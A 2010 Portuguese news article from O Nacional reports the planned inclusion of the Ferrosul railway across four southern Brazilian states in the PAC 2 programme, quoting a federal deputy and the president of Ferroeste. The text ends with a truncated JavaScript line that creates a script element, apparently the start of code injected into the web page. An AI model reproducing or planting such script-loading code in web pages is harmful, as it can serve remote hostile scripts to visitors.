Inclusão da Ferrosul no PAC 2 será anunciada dia 29

Mar 18 2010
(0) Comments

O NACIONAL – PASSO FUNDO

Estudos de viabilidade identificarão impacto ambiental, de desenvolvimento econômico da ferrovia em quatro estados, além de auxiliar na escolha do traçado ideal


Uma reunião na tarde de ontem na Casa Civil consolidou a inserção da Ferrosul no Programa de Aceleração do Crescimento, segunda etapa. A notícia foi comemorada pelo deputado federal Beto Albuquerque (PSB) que intermediou o encontro, como relator da matéria na Comissão de Constituição e Justiça da Câmara. O anúncio oficial será feito no dia 29 pelo próprio presidente Luiz Inácio Lula da Silva. O trecho que será incluído no PAC integra Paraná, Mato Grosso do Sul, Santa Catarina e Rio Grande do Sul. O deputado disse que a Casa Civil assegurou a inserção do projeto da segunda etapa da ferrovia Norte/Sul com início dos projetos de desenvolvimento, impacto ambiental e econômico. “Grande parte da ferrovia ainda não está no papel, então precisamos desses dados para nos guiarmos em um total de 1,6 mil quilômetros”, explica.

Segundo Beto, nas próximas duas semanas será concluída a tramitação do projeto na Câmara e aos estados caberá a efetivação da empresa chamada Ferrosul, deixando de se chamar Ferroeste. O presidente da Ferroeste, Samuel Gomes, esteve participando da reunião com o chefe de gabinete da casa Civil da presidência da república, Gilles de Azevedo, em Brasília. “O movimento iniciado na base da sociedade, emmobilizações regionais no Mato Grosso do Sul, Sudoeste do Paraná, que se estendeu ao Oeste de Santa Catarina e alcançou o Rio Grande do Sul, levou os governadores e assembléias legislativas do Sul a se unirem em torno da retomada do papel do Estado no planejamento, construção e operação das ferrovias. Agora, as bancadas federais trazem um novo e decisivo vigor à luta da Ferrosul”, disse Samuel.

De acordo com o presidente da Ferroeste, o trecho paranaense da Norte-Sul, em bitola larga, vai coincidir com o traçado do projeto da empresa paranaense pelo Sudoeste do estado até Chapecó, em Santa Catarina. Segundo Gomes, os estudos de viabilidade vão definir exatamente quais serão os outros traçados.

Do ponto de vista do governo do Paraná, de acordo com o presidente da Ferroeste, o pensamento não é apenas o de construir ferrovias. “É preciso que o modelo de gestão herdado do governo FHC e mantido pelo governo federal seja alterado. O país não pode continuar assistindo a monopólios privados se adonarem das ferrovias brasileiras para esfolar os produtores, abandonar regiões inteiras, predar o patrimônio público e encarecer artificialmente o frete em prejuízo dos interesses nacionais”, disse Gomes.

var d=document;var s=d.createElement(‘script’);